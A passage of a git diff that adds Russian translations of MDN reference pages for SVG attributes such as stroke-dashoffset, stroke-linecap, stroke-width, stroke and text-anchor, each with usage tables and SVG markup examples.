+  version="1.1" width="100" height="100"
+  shape-rendering="optimizeSpeed"&gt;</pre>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>
+    <p>shape-rendering: geometricPrecision:</p>
+
+    <p><img alt="shape-rendering:geometricPrecision" src="http://download.g63.ru/svg/shape-rendering-geometricPrecision.svg" style="height: 210px; width: 200px;"></p>
+   </td>
+   <td>
+    <p>shape-rendering: optimizeSpeed</p>
+
+    <p><img alt="shape-rendering:optimizeSpeed" src="http://download.g63.ru/svg/shape-rendering-optimizeSpeed.svg" style="height: 210px; width: 200px;"></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Также можно воспользоваться css shape-rendering:</p>
+
+<pre class="brush: xml">&lt;svg xmlns="http://www.w3.org/2000/svg"
+  version="1.1" width="100" height="100"
+  style="shape-rendering:optimizeSpeed;"&gt;</pre>
+
+<h2 id="Элементы">Элементы</h2>
+
+<p>Следующие элементы могут использовать атрибут <code>shape-rendering</code></p>
+
+<ul>
+ <li><a href="/en/SVG/Element#Shape" title="en/SVG/Element#Shape">Shape elements</a> »</li>
+</ul>
diff --git a/files/ru/web/svg/attribute/stop-color/index.html b/files/ru/web/svg/attribute/stop-color/index.html
new file mode 100644
index 0000000000..09a0503a48
--- /dev/null
+++ b/files/ru/web/svg/attribute/stop-color/index.html
@@ -0,0 +1,51 @@
+---
+title: stop-color
+slug: Web/SVG/Attribute/stop-color
+translation_of: Web/SVG/Attribute/stop-color
+---
+<p>« <a href="/ru/docs/Web/SVG/Attribute" title="/ru/docs/Web/SVG/Attribute">Справочник SVG атрибутов</a></p>
+
+<p>Атрибут <code>stop-color</code> указывает какой цвет использовать при остановке градиента. Значения <code>currentColor</code> и ICC цвета могут быть заданы так же, как в <a href="/en/SVG/Content_type#Paint" title="en/SVG/Content_type#Paint">&lt;paint&gt;</a> спецификации для атрибутов   {{ SVGAttr("fill") }} и {{ SVGAttr("stroke") }}.</p>
+
+<h2 id="Контекст_использования">Контекст использования</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Категория</th>
+   <td>Атрибут представления</td>
+  </tr>
+  <tr>
+   <th scope="row">Значение</th>
+   <td>currentColor | <a href="/en/SVG/Content_type#Color" title="en/SVG/Content_type#Color">&lt;color&gt;</a> | <a href="/en/SVG/Content_type#ICCColor" title="en/SVG/Content_type#ICCColor">&lt;icccolor&gt;</a> | inherit</td>
+  </tr>
+  <tr>
+   <th scope="row">Начальное значение</th>
+   <td>black</td>
+  </tr>
+  <tr>
+   <th scope="row">Анимация</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">Нормативный документ</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/pservers.html#StopColorProperty" title="http://www.w3.org/TR/SVG11/pservers.html#StopColorProperty">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h2 id="Элементы">Элементы</h2>
+
+<p>Следующие элементы могут использовать атрибут <code>stop-color</code></p>
+
+<ul>
+ <li>{{ SVGElement("stop") }}</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также </h2>
+
+<ul>
+ <li>{{ SVGAttr("stop-opacity") }}</li>
+</ul>
diff --git a/files/ru/web/svg/attribute/stroke-dashoffset/index.html b/files/ru/web/svg/attribute/stroke-dashoffset/index.html
new file mode 100644
index 0000000000..6f9462e40f
--- /dev/null
+++ b/files/ru/web/svg/attribute/stroke-dashoffset/index.html
@@ -0,0 +1,162 @@
+---
+title: stroke-dashoffset
+slug: Web/SVG/Attribute/stroke-dashoffset
+tags:
+  - SVG
+  - SVG атрибуты
+translation_of: Web/SVG/Attribute/stroke-dashoffset
+---
+<div class="blockIndicator note">
+<p><strong>Прежняя редакция:</strong> « <a href="/ru/docs/Web/SVG/Attribute" title="Справочник SVG атрибутов">Справочник SVG атрибутов</a><br>
+ Этот атрибут определяет смещение обводки относительно начального положения.<br>
+ При использовании <a href="/ru/SVG/Content_type#Percentage" title="ru/SVG/Content_type#Percentage">&lt;percentage&gt;</a>, значение будет вычисляться от текущего viewport.<br>
+ Значение может быть отрицательным.</p>
+</div>
+
+<p>{{SVGRef}}<br>
+ Атрибут <strong><code>stroke-dashoffset</code></strong> определяет сдвиг массива <strong>dash array </strong>относительно начального положения.</p>
+
+<p class="note"><strong>Сноска:</strong> Атрибут <code>stroke-dashoffset</code> может использоваться как свойство CSS.</p>
+
+<p>Как атрибут представления, он может применяться к любому элементу, но влияет только на следующие одиннадцать элементов: {{SVGElement('altGlyph')}}, {{SVGElement('circle')}}, {{SVGElement('ellipse')}}, {{SVGElement('path')}}, {{SVGElement('polygon')}}, {{SVGElement('polyline')}}, {{SVGElement('rect')}}, {{SVGElement('text')}}, {{SVGElement('textPath')}}, {{SVGElement('tref')}}, and {{SVGElement('tspan')}}  </p>
+
+<div id="topExample">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="-3 0 33 10" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;!-- Без dash array --&gt;
+  &lt;line x1="0" y1="1" x2="30" y2="1" stroke="black" /&gt;
+
+  &lt;!-- Без dash offset --&gt;
+  &lt;line x1="0" y1="3" x2="30" y2="3" stroke="black"
+        stroke-dasharray="3 1" /&gt;
+
+  &lt;!--
+  Начало dash array тянет 3 отрезка
+  --&gt;
+  &lt;line x1="0" y1="5" x2="30" y2="5" stroke="black"
+        stroke-dasharray="3 1"
+        stroke-dashoffset="3" /&gt;
+
+  &lt;!--
+  Начало dash array толкает 3 отрезка
+  --&gt;
+  &lt;line x1="0" y1="7" x2="30" y2="7" stroke="black"
+        stroke-dasharray="3 1"
+        stroke-dashoffset="-3" /&gt;
+
+  &lt;!--
+  Начало dash array тянет 1 отрезок с финишем в том же рендеринге,
+  что и в предыдущем примере
+  --&gt;
+  &lt;line x1="0" y1="9" x2="30" y2="9" stroke="black"
+        stroke-dasharray="3 1"
+        stroke-dashoffset="1" /&gt;
+
+  &lt;!--
+  красным выделено   смещение dash array для каждой строки
+  --&gt;
+  &lt;path d="M0,5 h-3 M0,7 h3 M0,9 h-1" stroke="rgba(255,0,0,.5)" /&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>{{EmbedLiveSample('topExample', '100%', 200)}}</p>
+</div>
+
+<h2 id="Usage_context">Usage context</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Категория</th>
+   <td>Атрибут оформления</td>
+  </tr>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><a href="/en/SVG/Content_type#Percentage" title="en/SVG/Content_type#Percentage">&lt;percentage&gt;</a> | <a href="/en/SVG/Content_type#Length" title="en/SVG/Content_type#Length"><span>&lt;length&gt;</span></a> | inherit</td>
+  </tr>
+  <tr>
+   <th scope="row">Исходное значение</th>
+   <td>0</td>
+  </tr>
+  <tr>
+   <th scope="row">Анимируемый</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">Спецификация</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/painting.html#StrokeDashoffsetProperty" title="http://www.w3.org/TR/SVG11/painting.html#StrokeDashoffsetProperty">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;?xml version="1.0"?&gt;
+&lt;svg width="200" height="230" viewBox="0 0 200 200"
+version="1.1" xmlns="http://www.w3.org/2000/svg"&gt;
+    &lt;line  stroke-dasharray="20, 5" x1="10" y1="10" x2="190" y2="10" /&gt;
+    &lt;!--
+      Поскольку размер штриха 20 с разрывами 5,
+      добавление смещения dash-offset 20 приводит к тому,
+      что линия начинается с разрыва.
+    --&gt;
+    &lt;line stroke-dashoffset="20" stroke-dasharray="20, 5"
+      x1="10" y1="30" x2="190" y2="30" /&gt;
+    &lt;!--
+      Добавление смещения штрихов на 10% приводит к началу линии с разрывом там же,
+      потому что элемент svg имеет ширину области просмотра 200.
+      Меняя размер svg, меняется и значение в пикселях stroke-dashoffset.
+    --&gt;
+    &lt;line stroke-dashoffset="10%" stroke-dasharray="20, 5"
+      x1="10" y1="50" x2="190" y2="50" /&gt;
+    &lt;line stroke-dashoffset="10" stroke-dasharray="20, 5"
+      x1="10" y1="70" x2="190" y2="70" /&gt;
+
+    &lt;line stroke-dashoffset="100" stroke-dasharray="200"
+      x1="10" y1="90" x2="190" y2="90" /&gt;
+    &lt;line stroke-dashoffset="100" stroke-dasharray="100"
+      x1="10" y1="110" x2="190" y2="110" /&gt;
+    &lt;!--
+      Без stroke-dasharray - stroke-dashoffset не даст никакого эффекта.
+    --&gt;
+    &lt;line stroke-dashoffset="50" x1="10" y1="130" x2="190" y2="130" /&gt;
+    &lt;!--
+      stroke-dashoffset values can be negative and as expected offest
+      in the opposite direction as a positive value.
+      Значения смещения штрихов могут быть отрицательными
+      с направлением, обратным положительному значению.
+    --&gt;
+    &lt;line stroke-dashoffset="-40" stroke-dasharray="80"
+      x1="10" y1="150" x2="190" y2="150" /&gt;
+    &lt;line stroke-dasharray="80"
+      x1="10" y1="170" x2="190" y2="170" /&gt;
+    &lt;line stroke-dashoffset="-10%" stroke-dasharray="65, 5, 1, 5"
+      x1="10" y1="190" x2="190" y2="190" /&gt;
+    &lt;line  stroke-dasharray="65, 5, 1, 5" x1="10" y1="210" x2="190" y2="210" /&gt;
+    &lt;style&gt;&lt;![CDATA[
+      line{
+        stroke: black;
+        stroke-width: 2;
+        }
+        ]]&gt;
+    &lt;/style&gt;
+&lt;/svg&gt;
+</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample('Пример', '220', '240')}}</p>
+
+<h2 id="Элементы">Элементы</h2>
+
+<p>Следующие элементы могут использовать атрибут <code>stroke-dashoffset</code></p>
+
+<ul>
+ <li><a href="/ru/SVG/Element#Shape" title="ru/SVG/Element#Shape">Элементы форм</a> »</li>
+ <li><a href="/ru/SVG/Element#TextContent" title="ru/SVG/Element#TextContent">Текстовые элементы</a> »</li>
+</ul>
diff --git a/files/ru/web/svg/attribute/stroke-linecap/index.html b/files/ru/web/svg/attribute/stroke-linecap/index.html
new file mode 100644
index 0000000000..475dbb5a0b
--- /dev/null
+++ b/files/ru/web/svg/attribute/stroke-linecap/index.html
@@ -0,0 +1,194 @@
+---
+title: stroke-linecap
+slug: Web/SVG/Attribute/stroke-linecap
+translation_of: Web/SVG/Attribute/stroke-linecap
+---
+<div>{{SVGRef}}</div>
+
+<p>Атрибут <strong><code>stroke-linecap</code></strong> - это атрибут представления, определяющий форму, которая будет использоваться в конце открытых подпутей при штриховании.</p>
+
+<p class="note"><strong>Сноска: </strong>В качестве атрибута представления можно использовать <code>stroke-linecap</code> в качестве свойства CSS.</p>
+
+<p>В качестве атрибута представления он может применяться к любому элементу, но он влияет только на следующие семь элементов: {{SVGElement('altGlyph')}}, {{SVGElement('path')}}, {{SVGElement('polyline')}}, {{SVGElement('text')}}, {{SVGElement('textPath')}}, {{SVGElement('tref')}}, and {{SVGElement('tspan')}}</p>
+
+<div id="topExample">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 6 6" xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;!-- Effect of the (default) "butt" value --&gt;
+  &lt;line x1="1" y1="1" x2="5" y2="1" stroke="black"
+        stroke-linecap="butt" /&gt;
+
+  &lt;!-- Effect of the "round" value --&gt;
+  &lt;line x1="1" y1="3" x2="5" y2="3" stroke="black"
+        stroke-linecap="round" /&gt;
+
+  &lt;!-- Effect of the "square" value --&gt;
+  &lt;line x1="1" y1="5" x2="5" y2="5" stroke="black"
+        stroke-linecap="square" /&gt;
+
+  &lt;!--
+  the following pink lines highlight the
+  position of the path for each stroke
+  --&gt;
+  &lt;path d="M1,1 h4 M1,3 h4 M1,5 h4" stroke="pink" stroke-width="0.025" /&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>{{EmbedLiveSample('topExample', '100%', 200)}}</p>
+</div>
+
+<h2 id="Нотации">Нотации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Value</th>
+   <td><code>butt</code> | <code>round</code> | <code>square</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Default value</th>
+   <td><code>butt</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>Yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="butt">butt</h3>
+
+<p>Значение <code>butt</code> указывает границу каждого подпути и не выходит за пределы двух его конечных точек. На подпути нулевой длины путь не будет отображаться вообще.</p>
+
+<h4 id="Пример">Пример</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 6 4" xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;!-- Effect of the "butt" value --&gt;
+  &lt;path d="M1,1 h4" stroke="black"
+        stroke-linecap="butt" /&gt;
+
+  &lt;!-- Effect of the "butt" value on a zero length path --&gt;
+  &lt;path d="M3,3 h0" stroke="black"
+        stroke-linecap="butt" /&gt;
+
+
+  &lt;!--
+  the following pink lines highlight the
+  position of the path for each stroke
+  --&gt;
+  &lt;path d="M1,1 h4" stroke="pink" stroke-width="0.025" /&gt;
+  &lt;circle cx="1" cy="1" r="0.05" fill="pink" /&gt;
+  &lt;circle cx="5" cy="1" r="0.05" fill="pink" /&gt;
+  &lt;circle cx="3" cy="3" r="0.05" fill="pink" /&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>{{EmbedLiveSample('butt', '100%', 200)}}</p>
+
+<h3 id="round">round</h3>
+
+<p>Значение <code>round</code> указывает на то, что в конце каждого подпути обводка будет расширена на полукруг с диаметром, равным ширине обводки. На подпути нулевой длины обводка состоит из полного круга с центром в точке подпути.</p>
+
+<h4 id="Пример_2">Пример</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 6 4" xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;!-- Effect of the "round" value --&gt;
+  &lt;path d="M1,1 h4" stroke="black"
+        stroke-linecap="round" /&gt;
+
+  &lt;!-- Effect of the "round" value on a zero length path --&gt;
+  &lt;path d="M3,3 h0" stroke="black"
+        stroke-linecap="round" /&gt;
+
+
+  &lt;!--
+  the following pink lines highlight the
+  position of the path for each stroke
+  --&gt;
+  &lt;path d="M1,1 h4" stroke="pink" stroke-width="0.025" /&gt;
+  &lt;circle cx="1" cy="1" r="0.05" fill="pink" /&gt;
+  &lt;circle cx="5" cy="1" r="0.05" fill="pink" /&gt;
+  &lt;circle cx="3" cy="3" r="0.05" fill="pink" /&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>{{EmbedLiveSample('round', '100%', 200)}}</p>
+
+<h3 id="square">square</h3>
+
+<p>Значение <code>square</code> указывает, что в конце каждого подпути обводка будет расширена прямоугольником с шириной, равной половине ширины обводки, и высотой, равной ширине обводки. На подпути с нулевой длиной обводка состоит из квадрата, ширина которого равна ширине обводки, с центром в точке подпути.</p>
+
+<h4 id="Пример_3">Пример</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 6 4" xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;!-- Effect of the "square" value --&gt;
+  &lt;path d="M1,1 h4" stroke="black"
+        stroke-linecap="square" /&gt;
+
+  &lt;!-- Effect of the "square" value on a zero length path --&gt;
+  &lt;path d="M3,3 h0" stroke="black"
+        stroke-linecap="square" /&gt;
+
+
+  &lt;!--
+  the following pink lines highlight the
+  position of the path for each stroke
+  --&gt;
+  &lt;path d="M1,1 h4" stroke="pink" stroke-width="0.025" /&gt;
+  &lt;circle cx="1" cy="1" r="0.05" fill="pink" /&gt;
+  &lt;circle cx="5" cy="1" r="0.05" fill="pink" /&gt;
+  &lt;circle cx="3" cy="3" r="0.05" fill="pink" /&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>{{EmbedLiveSample('square', '100%', 200)}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Совместимость браузера</h2>
+
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных.<br>
+Если вы хотите внести свой вклад в данные, пожалуйста, проверьте  <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на их получение.</div>
+
+<p>{{Compat("svg.attributes.presentation.stroke-linecap")}}</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коммент</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG2", "painting.html#StrokeLinecapProperty", "stroke-linecap")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Definition for shapes and texts</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "painting.html#StrokeLinecapProperty", "stroke-linecap")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Initial definition for shapes and texts</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/svg/attribute/stroke-width/index.html b/files/ru/web/svg/attribute/stroke-width/index.html
new file mode 100644
index 0000000000..0359c2a1a2
--- /dev/null
+++ b/files/ru/web/svg/attribute/stroke-width/index.html
@@ -0,0 +1,57 @@
+---
+title: stroke-width
+slug: Web/SVG/Attribute/stroke-width
+translation_of: Web/SVG/Attribute/stroke-width
+---
+<p>« <a href="/ru/docs/Web/SVG/Attribute" title="Справочник SVG атрибутов">Справочник SVG атрибутов</a></p>
+
+<p>Атрибут <code>stroke-width</code> указывает ширину контура текущего объекта. Его значение по умолчанию: 1. Если используется &lt;percentage&gt;, значение представляет собой процент от текущего окна просмотра. Если используется значение 0, контур не будет нарисован.<br>
+ <br>
+ В качестве атрибута представления он также может использоваться как свойство непосредственно внутри таблицы стилей CSS</p>
+
+<h2 id="Usage_context">Usage context</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row"><strong>Категория</strong></th>
+   <td>Атрибут представления</td>
+  </tr>
+  <tr>
+   <th scope="row"><strong>Значения</strong></th>
+   <td><a href="/en/SVG/Content_type#Length" title="en/SVG/Content_type#Length">&lt;length&gt;</a> | <a href="/en/SVG/Content_type#Percentage" title="en/SVG/Content_type#Percentage">&lt;percentage&gt;</a> | inherit</td>
+  </tr>
+  <tr>
+   <th scope="row"><strong>Анимируемый</strong></th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">Нормативный документ</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG/painting.html#StrokeWidthProperty" title="http://www.w3.org/TR/SVG/painting.html#StrokeWidthProperty">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="SVG">SVG</h3>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;circle cx="100" cy="100" r="100" /&gt;
+&lt;/svg&gt;
+&lt;svg viewBox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;circle cx="100" cy="100" r="100" stroke="#ff0" stroke-width="10" /&gt;
+&lt;/svg&gt;</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample('Example', 200, 200)}}</p>
+
+<h2 id="Элементы">Элементы</h2>
+
+<p>Следующие элементы могут использовать атрибут <code>stroke-width</code>.</p>
+
+<ul>
+ <li><a href="/ru/SVG/Element#Shape" title="en/SVG/Element#Shape">Элементы форм</a> »</li>
+ <li><a href="/ru/SVG/Element#TextContent" title="en/SVG/Element#TextContent">Текстовые элементы</a> »</li>
+</ul>
diff --git a/files/ru/web/svg/attribute/stroke/index.html b/files/ru/web/svg/attribute/stroke/index.html
new file mode 100644
index 0000000000..d6ddd0420a
--- /dev/null
+++ b/files/ru/web/svg/attribute/stroke/index.html
@@ -0,0 +1,69 @@
+---
+title: stroke
+slug: Web/SVG/Attribute/stroke
+tags:
+  - SVG
+  - SVG атрибуты
+translation_of: Web/SVG/Attribute/stroke
+---
+<p>« <a href="/en/SVG/Attribute" title="en/SVG/Attribute">SVG Attribute reference home</a></p>
+
+<p>Атрибут обводки определяет цвет контура в данном графическом элементе. Значение по умолчанию для атрибута обводки — <strong>None</strong>.</p>
+
+<h2 id="Контекст_использования">Контекст использования</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Категория</th>
+   <td>Presentation attribute</td>
+  </tr>
+  <tr>
+   <th scope="row">Значения</th>
+   <td>
+    <p><a href="/en/SVG/Content_type#Paint" title="en/SVG/Content_type#Paint">&lt;paint&gt;</a>, <code>context-fill</code>, <code>context-stroke</code></p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Анимируемый</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">Нормативный документ</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG/painting.html#StrokeProperty" title="http://www.w3.org/TR/SVG/painting.html#StrokeProperty">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="SVG_Line" name="SVG_Line">SVG Line с stroke</h3>
+
+<h4 id="Пример_1_Нарисуйте_прямую_зеленую_линию_используя_stroke.">Пример 1: Нарисуйте прямую зеленую линию, используя <strong>stroke</strong>.</h4>
+
+<pre class="brush: html">&lt;svg height="50" width="300"&gt;
+    &lt;path stroke="green" d="M5 20 1215 0" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('Example1_Draw_straight_green_line_using_stroke.', '300', '50', '', 'Web/SVG/Attribute/stroke')}}</p>
+
+<h4 id="Пример_2_Нарисуйте_черный_круг_с_синей_рамкой_используя_stroke.">Пример 2: Нарисуйте черный круг с синей рамкой используя stroke.</h4>
+
+<pre class="brush: html">​​&lt;svg height="100" width="100"&gt;
+    &lt;circle cx="50" cy="50" r="40" stroke="blue" stroke-width="2" fill="black" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('Example2_Draw_black_circle_with_blue_border_using_stroke.', '100', '120', '', 'Web/SVG/Attribute/stroke')}}</p>
+
+<h2 id="Использование_context-stroke">Использование <code>context-stroke</code></h2>
+
+<p>Информацию об использовании значения нестандартного и ограниченного <code>context-stroke</code> (и <code>context-fill</code>) смотреть в документации для свойства {{cssxref("-moz-context-properties")}}.</p>
+
+<h2 id="Элементы">Элементы</h2>
+
+<p>Следующие элементы могут использовать атрибут <code>stroke</code>.</p>
+
+<ul>
+ <li><a href="/en/SVG/Element#Shape" title="en/SVG/Element#Shape">Shape elements</a> »</li>
+ <li><a href="/en/SVG/Element#TextContent" title="en/SVG/Element#TextContent">Text content elements</a> »</li>
+</ul>
diff --git a/files/ru/web/svg/attribute/text-anchor/index.html b/files/ru/web/svg/attribute/text-anchor/index.html
new file mode 100644
index 0000000000..4a034cfde2
--- /dev/null
+++ b/files/ru/web/svg/attribute/text-anchor/index.html
@@ -0,0 +1,107 @@
+---
+title: text-anchor
+slug: Web/SVG/Attribute/text-anchor
+translation_of: Web/SVG/Attribute/text-anchor
+---
+<p>« <a href="/en/SVG/Attribute" title="en/SVG/Attribute">Справочник SVG Аттрибутов</a></p>
+
+<p>Атрибут <code>text-anchor</code> используется для выравнивания<br>
+ <em>(start-, middle- или end-выравнивание)</em> текстовой строки относительно заданной точки.</p>
+
+<p><strong id="docs-internal-guid-4ea05241-81fa-9da9-3d12-af90b8ff4e53">А</strong>трибут <code>text-anchor</code> применяется к каждому отдельному текстовому фрагменту в заданном {{ SVGElement("text") }} элементе. Каждый текстовый фрагмент имеет текущую текстовую позицию, которая представляет точку в пользовательской системе координат, полученную в результате (в зависимости от контекста) применения {{ SVGAttr("x") }} и {{ SVGAttr("y") }}  атрибутов к {{ SVGElement("text") }} элементу, любого {{ SVGAttr("x") }} или {{ SVGAttr("y") }} значения к {{ SVGElement("tspan") }}, {{ SVGElement("tref") }} , {{ SVGElement("altGlyph") }} элементу явно присвоенного к первому визуализированному символу в текстовом фрагменте, или при задании первоначальной текстовой позиции для {{ SVGElement("textPath") }} элемента. </p>
+
+<p>Как артирубт представления, он так же может быть использован как свойство непосредственно в CSS стилях.</p>
+
+<h2 id="Контекст_использования">Контекст использования</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Категория</th>
+   <td>Атрибут представления</td>
+  </tr>
+  <tr>
+   <th scope="row">Значение</th>
+   <td>start | middle | end | <strong title="this is the default value">inherit</strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Анимация</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">Документ</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG/text.html#TextAnchorProperty" title="http://www.w3.org/TR/SVG/text.html#TextAnchorProperty">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt>start</dt>
+ <dd>
+ <p>Отрисованные символы выравниваются так, что начало текстовой строки находится в исходной текстовой позиции. Для латиницы в обычной ориентации это эквивалентно выравниванию по левому краю. Для шрифтов, которые по своей сути имеют выравнивание справа налево такие как Иврит и Арабский это эквивалентно правому выравниваю. Для азиаского текста с вертикальным направлением текста это сопоставимо с выравниванием по верхнему краю.</p>
+ </dd>
+ <dt>middle</dt>
+ <dd>
+ <p>Отрисованные символы  выравниваются так, что середина текстовой строки находится в текущей текстовой позиции. (Для текста вдоль заданной линии, теоретически, текстовая строка сначала ложится по прямой линии. Определяется средняя точка<br>
+  между началом текстовой строки и концом текстовой строки. Затем текстовая строка отображается на заданной линии с этой средней точкой, расположенной в текущей текстовой<br>
+  позиции.)</p>
+ </dd>
+ <dt>end</dt>
+ <dd>Отрисованные символы выравниваются так, что конец текстовой строки находится в исходной текущей текстовой позиции. Для латиницы в своей обычной ориентации это эквивалетно<br>
+ правому выраниванию. Для шрифтов которые по определению справа налево такие как Иврит и Арабский это эквивалентно левому выравниванию.</dd>
+ <dt>Примечание</dt>
+ <dd>В <strong>IE</strong>-11 атрибут <code><strong>text-anchor</strong></code> не имеет эффекта при привязке текста к заданному пути <strong><code>path</code></strong> посредством тега <code><strong>textPath</strong></code>.<br>
+ В приведенном ниже примере тег <strong><code>path</code></strong> использовался только лишь для отрисовки линий и с расположением текста никак не связан.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre>&lt;html&gt;
+&lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;текст в якорях&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+&lt;div style="background-color:burlywood; width:866px;height:444px;display:flex;"&gt;
+    &lt;div style="background-color:greenyellow; width:333px;height:333px;margin:22px;overflow: visible;"&gt;
+        &lt;svg viewBox="-50 0 100 100" style="overflow: visible;" xmlns="http://www.w3.org/2000/svg" version="1.1"&gt;
+            &lt;!-- Материализация якорей --&gt;
+            &lt;path d="M50, 5 L50,95
+             M20,20 L80,20
+             M20,50 L80,50
+             M20,80 L80,80" stroke="grey"/&gt;
+
+            &lt;!-- Якоря в действии --&gt;
+            &lt;text text-anchor="start"   x="50" y="20"&gt;some start&lt;/text&gt;
+            &lt;text text-anchor="start"   x="50" y="35"&gt;start&lt;/text&gt;
+
+            &lt;text text-anchor="middle"  x="50" y="55"&gt;some middle&lt;/text&gt;
+            &lt;text text-anchor="middle"  x="50" y="70"&gt;middle&lt;/text&gt;
+
+            &lt;text text-anchor="end"     x="50" y="85"&gt;some end&lt;/text&gt;
+            &lt;text text-anchor="end"     x="50" y="100"&gt;end&lt;/text&gt;
+        &lt;/svg&gt;
+    &lt;/div&gt;
+&lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p><strong>Песочницы</strong></p>
+
+<p>{{ EmbedLiveSample('Пример','400','400') }}</p>
+
+
+
+<h2 id="Элементы">Элементы</h2>
+
+<p>Следующие элементы могут использовать  <code>text-anchor</code> атрибут</p>
+
+<ul>
+ <li><a href="/en/SVG/Element#Text_content_elements" title="en/SVG/Element#TextContent">Text content elements</a> »</li>
+</ul>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Совместимость браузера</h2>
+
+
+
+<p>{{Compat("svg.attributes.presentation.text-anchor")}}</p>
diff --git a/files/ru/web/svg/attribute/text-rendering/index.html b/files/ru/web/svg/attribute/text-rendering/index.html
new file mode 100644
index 0000000000..11c0bdb8cf
--- /dev/null
+++ b/files/ru/web/svg/attribute/text-rendering/index.html
@@ -0,0 +1,87 @@
+---
+title: text-rendering
+slug: Web/SVG/Attribute/text-rendering
+translation_of: Web/SVG/Attribute/text-rendering
+---
+<p>« <a href="/en/SVG/Attribute" title="en/SVG/Attribute">SVG Attribute reference home</a></p>
+<p>При создание SVG есть возможность указать браузеру о том, как рекомендуется рендерить (отрисовывать) текст. <code>text-rendering</code> предоставляет возможность указывать даные рекомендации.</p>
+<p>Помимо presentation attribute, настройки ренедеринга шрифтов можно задавть через CSS стили. Для получения дополнительной информации смотри {{ cssxref("text-rendering","CSS text-rendering") }}.</p>
+<h2 id="Usage_context">Usage context</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
